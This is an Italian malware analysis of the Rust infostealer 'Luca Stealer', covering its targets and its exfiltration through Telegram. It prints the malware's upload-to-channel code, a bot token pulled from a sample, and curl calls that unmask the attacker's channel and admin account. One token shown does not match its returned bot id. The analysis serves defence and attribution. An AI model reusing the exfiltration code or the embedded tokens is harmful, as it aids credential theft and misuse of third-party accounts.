Malware analysis di “Luca Stealer”

A cura del: Team di Hackerhood

Introduzione

Il malware è stato pubblicato open source su un noto forum online il 3 luglio 2022 ed in seguito scaricato e condiviso su Github da diversi utenti. L’autore ha probabilmente pubblicato il codice per costruirsi una reputazione nell’ambito e farsi pubblicità in qualche modo.

Luca stealer, così rinominato dagli analisti, è scritto in Rust e ha come target browser basati su chromium, firefox, crypto wallet, applicazioni di messaggistica e piattaforme di gaming.

L’esfiltrazione dei dati collezionati viene effettuata tramite Discord o Telegram.

Analisi del sorgente

Una volta eseguito, il malware, avvia dei controlli per verificare non si trovi su un ambiente virtualizzato e passa all’azione iniziando a collezionare alcuni informazioni sulla macchina su cui si trova: IP (che usa anche per la geolocalizzazione), screenshot, username, nome del device, linguaggio usato.

Viene creata una cartella e tutti i dati raccolti sono inseriti all’interno di un file info.txt all’interno della cartella stessa.

Il secondo passo è l’estrazione di informazioni come processi eseguiti sul sistema, memoria usata e reti trovate. Come per le precedenti, le informazioni sono salvate sul file system_info.txt e all’interno della cartella.

Dopo la fase introduttiva, il malware passa a rubare i dati dai vari browser e le altre applicazioni installate.

I browser presi di mira sono i seguenti:

Lo stealer prova a rubare le password e le carte di credito salvate, dopo averle estratte e decifrate dai relativi browser, ed i cookie. Il tutto viene salvato in file txt come in precedenza all’interno della cartella.

I crypto wallet presi di mira sono invece i seguenti:

  • Atomic wallet
  • Exodus wallet
  • JaxxWallet
  • Electrum
  • ByteCoin
  • Ethereum
  • Guarda
  • Coinomi
  • Armory
  • ZCash

Ma vengono presi di mira anche le estensioni installate sui browser per il salvataggio delle password o per i relativi servizi crypto.

Gli altri servizi presi di mira sono Steam, UPlay, Telegram, Skype, Discord, Element e ICQ, da cui prova a salvare i database e altri dati sensibili.

Vengono anche ricercati file pdf, doc, ppt e kdbx all’interno della cartella utente e salvati nella famosa cartella per l’esfiltrazione.

Una volta finito il collezionamento, il malware procede con comprimere la cartella da lui creata, contenente tutti i dati estratti e procede all’esfiltrazione tramite Telegram o Discord.

Estrazione di token e channel ID per Telegram

Dopo l’analisi del codice sorgente, proseguiamo con l’analisi del malware compilato.

Di seguito useremo come riferimento il sample con SHA256 342aad6db616c0fe2f5cf1c21864a31b11969cd289dc20656bd86fdd15e99924 condiviso dai ricercatori di Cyble.

Telegram permette ad un client di interfacciarsi tramite API, ma per poterle usare si necessita di un token di accesso.

Per ricevere un token l’attacker deve creare un bot, e questo è possibile attraverso il BotFather che al termine del processo di creazione restituisce un codice alfanumerico da inviare alle API per eseguire operazioni e comandi sulle risorse gestite dal bot stesso.

Il malware, quindi, permette nel sorgente di settare token ed un channel ID (indice numerico che identifica il canale) che verranno poi usati nel client Telegram per effettuare gli uploads.

Solitamente il Telegram token è nel formato bot<bot_id>:<alphanumeric string> dove bot_id è un numero e <alphanumeric_string> è una stringa di testo contenente lettere, numeri e caratteri speciali come “-” e “_”, mentre invece il channel_ID è un intero a 64 bit e solitamente è negativo.

Sapendo questo ci siamo domandati se fosse possibile estrarre token e channel id dal malware, ma Rust non è semplice da reversare quindi siamo partiti dalla estrazione delle stringhe.

Il source code originale non è offuscato o comunque non nasconde i dati che ci interessano in nessun modo quindi abbiamo innanzitutto verificato se i dati da noi cercati fossero già  presenti nelle stringhe e facilmente individuabili.

$ strings samples/342aad6db616c0fe2f5cf1c21864a31b11969cd289dc20656bd86fdd15e99924 | egrep -i -o “([0-9]{8,}\:[a-z0-9_-]+)”5409319410:AAFkx2baG9vOdNz7OSPSx4BLrWlXFkHv4ZI

Tramite l’espressione regolare siamo riusciti a trovare un possibile token per Telegram. Per verificarlo abbiamo quindi usato l’API getMe di Telegram che ci ha prontamente restituito le informazioni relative al bot associato al token:

$ curl https://api.telegram.org/bot5504089027:AAFZwWvljkPTGD18o3BaTdJaHkFe-rjBlHk/getMe{  “ok”: true,  “result”: {    “id”: 5409319410,    “is_bot”: true,    “first_name”: “Prolov“,    “username”: “prolyom_bot“,    “can_join_groups”: true,    “can_read_all_group_messages”: false,    “supports_inline_queries”: false  }}

Il token è valido! Abbiamo quindi proseguito con la ricerca del channel_id. 

Questo ID non sarà di facile estrazione: sul sorgente possiamo vedere infatti come questo sia definito come un intero a 64 bit e non verrà quindi mostrato nelle stringhe. Sappiamo però che solitamente il canale è espresso attraverso un numero negativo.

Dal codice sorgente vediamo che la variabile globale CHANNEL_ID è usata unicamente nel seguente punto, quando il malware invia effettivamente il file out.zip al canale Telegram:

let file =                std::path::PathBuf::from(format!(“{}\\out.zip”, std::env::var(“TEMP”).unwrap()));
            let params = SendDocumentParams::builder()                .chat_id(CHANNEL_ID)                .document(file)                .caption(msg_edit.join(“”))                .build();

Usando Ghidra abbiamo provato a vedere se fosse stato possibile identificare un numero intero negativo da 64 bit nelle vicinanze di quel punto trovando il seguente MOV:

Provando a convertire il numero esadecimale in decimale ci è stato restituito -1001608570187

Abbiamo quindi provato a validare il numero con la seconda API messa a disposizione da Telegram, getChat, che attraverso l’uso del token e specificando l’ID del canale attraverso il parametro chat_id, fornisce le informazioni riguardo il canale associato a quell’ID come il nome, la tipologia, il link di invito e i vari permessi.

$ curl “https://api.telegram.org/bot5409319410:AAFkx2baG9vOdNz7OSPSx4BLrWlXFkHv4ZI/getChat?chat_id=-1001608570187” | jq{  “ok”: true,  “result”: {    “id”: -1001608570187,    “title”: “PROLIV CHAT“,    “type”: “supergroup”,    “invite_link”: “https://t.me/+u1aEkXD3VAc3Y2E6”,    “permissions”: {      “can_send_messages”: true,      “can_send_media_messages”: true,      “can_send_polls”: true,      “can_send_other_messages”: true,      “can_add_web_page_previews”: true,      “can_change_info”: true,      “can_invite_users”: true,      “can_pin_messages”: true    },    “join_to_send_messages”: true  }}

Per trovare il channel ID negli altri file potrebbe essere possibile usare il pattern 48 B8 ?? ?? ?? ?? ?? ?? ?? FF che dovrebbe identificare una MOV con un numero negativo di 64 bit.

Dopo aver trovato il canale, ci siamo messi alla ricerca nella documentazione di Telegram di qualche altra API interessante che ci avesse potuto fornire maggiori informazioni e ne abbiamo trovate 2: getChatMemberCount e getChatAdministrators che tornano rispettivamente il numero di utenti sul canale e gli amministratori.

Siamo quindi riusciti a risalire, attraverso queste API, a quanti utenti sono presenti sul canale, ma soprattuto all’amministratore del canale stesso che probabilmente è il creatore stesso del malware!

$ curl “https://api.telegram.org/bot5409319410:AAFkx2baG9vOdNz7OSPSx4BLrWlXFkHv4ZI/getChatMemberCount?chat_id=-1001608570187” | jq{  “ok”: true,  “result”: 2}
$ curl “https://api.telegram.org/bot5409319410:AAFkx2baG9vOdNz7OSPSx4BLrWlXFkHv4ZI/getChatAdministrators?chat_id=-1001608570187” | jq{  “ok”: true,  “result”: [    {      “user”: {        “id”: 5409319410,        “is_bot”: true,        “first_name”: “Prolov”,        “username”: “prolyom_bot”      },      “status”: “administrator”,      “can_be_edited”: false,      “can_manage_chat”: true,      “can_change_info”: true,      “can_delete_messages”: true,      “can_invite_users”: true,      “can_restrict_members”: true,      “can_pin_messages”: true,      “can_promote_members”: true,      “can_manage_video_chats”: true,      “is_anonymous”: true,      “can_manage_voice_chats”: true    },    {      “user”: {        “id”: 1140760781,        “is_bot”: false,        “first_name”: “Matthew“,        “username”: “ameri_caned“,        “language_code”: “ru”      },      “status”: “creator“,      “is_anonymous”: false    }  ]}

Conclusioni

Siamo riusciti nel nostro intento di trovare i token bot e a risalire agli utenti associati ai canali usati per l’exfiltration attraverso l’analisi statica, e senza quindi eseguire il malware.

Si potrebbe pensare di estrarre tali token dai samples che ogni giorno vengono trovati e diffusi, magari usando servizi come VirusTotal, e segnalare a Telegram l’utilizzo improprio in modo da bloccare i bot, e quindi il malware stesso, ma anche gli account telegram degli amministratori.

Tags:

Comments are closed